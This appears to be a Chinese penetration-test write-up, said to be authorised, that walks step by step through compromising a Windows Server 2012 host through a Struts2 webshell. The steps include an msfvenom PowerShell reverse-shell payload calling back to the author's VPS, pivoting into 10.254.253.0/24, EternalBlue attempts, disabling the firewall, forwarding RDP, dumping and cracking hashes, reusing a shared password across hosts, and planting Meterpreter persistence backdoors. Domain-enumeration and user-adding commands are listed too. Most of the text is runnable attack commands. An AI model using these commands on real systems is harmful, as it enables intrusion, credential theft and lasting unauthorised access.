一次伪内网渗透

一次伪内网渗透

0x01 入口

先说一下背景:某天,同事发来的一个授权的网站,于是便一起测试一下。前期信息收集环节没有了,给过来的时候是一个存在struts2漏洞的登录页面,于是便先从s2漏洞入手,用安恒的工具简单测试一下,发现确实存在此漏洞:

struts2

尝试利用s2漏洞上传shell:

shell

可以看到返回路径,尝试访问一下,发现报500错误:

500

这个地址用菜刀、antsword等都无法连接上,后来是利用了某大佬的工具连接上了(ps:大佬工具tql):

shell_ok

简单做下信息收集,可以看到为2012 r2 x64系统:

systeminfo

systeminfo

可以端口有开放3389、445等:

netstat -ano

netstat_ano

查看相邻主机ip:

arp -a

arp_a

查看域用户,发现只有个工作组:

net view  //查询同域的机器
net view /domain  //查看内网存在多少域
net user /domain  //查看域用户
net group /domain  //查看域有哪些组

net_view

这里顺便扩展下域信息收集常用命令(来源于网络,难免有误,用于备忘):

ipconfig /all  //查看本机的ip段

net user  //查看本地用户列表

net user /domain  //查看域用户

net view /domain  //查看内网存在多少域

net group /domain  //查看域有哪些组

net group "domain admins" /domain  //查看域管理员组

net localgroup administrators /domain  //查看域管理员

net user username password /add /domain  //添加域用户

net localgroup administrators workgroup\test123 /add  //添加域用户 (权限不够是加不了的)

net group "domain controllers" /domain  //查看所有域控

net time /domain  //判断主域,一般的主域都是会做时间服务器这种骚操作的

net view /domain  //查询域列表

net view \\ip  //查询某个ip的共享

net view  //查询同域的机器

net accounts  /domain  //查询域密码策略

whoami /all  //查询用户的权限

ping 域名称  //获取域服务器的ip

nbtstat -a 域名称  //获取域服务器的ip

dsquery computer  //查看域里的计算机

dsquery contact  //查看域里的联系人

dsquery group  //查看域里的用户组

dsquery user  //查看域用户

dsquery subnet  //查看网段的划分

dsquery server  //显示所有域控

dsquery subnet  //查看域里的子网

0x02 准备

打开公网的msf监听反弹shell:

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp  //目标系统为64位
set lhost 127.0.0.1  //接收反弹shell的ip(公网),这里使用127.0.0.1代替
set lport 12345   
exploit

reverse_tcp

生成powershell ps1攻击载荷:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 port=12345 -f psh-reflection>/tmp/search.ps1
//lhost设置为vps的公网ip

ls /tmp  //查看生成的ps1文件

ps1

利用之前获得的webshell将search.ps1文件上传到目标主机:

upload_ps1

在webshell管理工具cmd命令行中执行search.ps1文件,触发反弹shell:

PowerShell.exe -file search.ps1

ps_file

msf返回一个meterpreter:

meterpreter

0x03 内网

获取内网网段信息:

run get_local_subnets

run_get_local_subnets

通过内网本地路由查询,获悉内网网段为10.254.253.0/24

添加去往目标内网网段的静态路由:

run autoroute -s 10.254.253.0/24

run_autoroute_s

路由查询:

run autoroute -p

run_autoroute_p

0x04 渗透

退到后台,方便调用其他攻击模块:

background //后台执行
sessions -i  //查看会话

background

使用“永恒之蓝”扫描内网主机:

use auxiliary/scanner/smb/smb_ms17_010
show options
set rhosts 10.254.253.0/24
set threads 50
run

ms17_010_1

ms17_010_2

ms17_010_3

通过漏洞扫描,发现有四台主机存在ms17-010漏洞。

调用“永恒之蓝”攻击载荷攻击:

use exploit/windows/smb/ms17_010_eternalblue
set rhost 10.254.253.53
exploit

exploit1

但是很不幸运,攻击失败了,没有产生会话:

exploit2

之后尝试那几个主机,也相继失败了,原因未知。

0x05 突破

换个思路,之前可以看到目标主机有3389端口开放,但是不是对公网开放的,准备从这里突破一下。
保险起见,先利用之前的shell的cmd命令行,关闭目标防火墙:

netsh firewall set opmode mode=disable

firewall_disable

利用之前获得的meterpreter将目标主机3389端口转发到公网vps上的3389端口:

portfwd add -l 3389 -p 3389 -r 10.254.253.50

portfwd

抓取用户hash:

hashdump

hashdump

尝试破解Administrator用户的hash值,破解成功:

hash_crack

打开远程桌面,ip为vps的公网ip,这里端口设置为了3389所以不用改:

3389

可以发现登录成功,还发现了工作组内有好多其他主机。

利用刚才远程登录上的这台主机,使用它上面的远程桌面来尝试登录其他内网主机:

3389_1

尝试用相同的密码登录发现登陆成功。
之后连续尝试了多台主机,发现都是同一密码,还有一台无密码,均可以登录上,只有一台拒绝连接。

0x05 维持

权限维持

使用metasploi Metsvc模块:

run metsvc

metsvc

其原理是给目标开启一个服务。
连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。

使用metasploi Persistence模块:

run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx

-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

persistence

注意:清除脚本在图中红框内。

运行清除脚本:

cleanup

结束。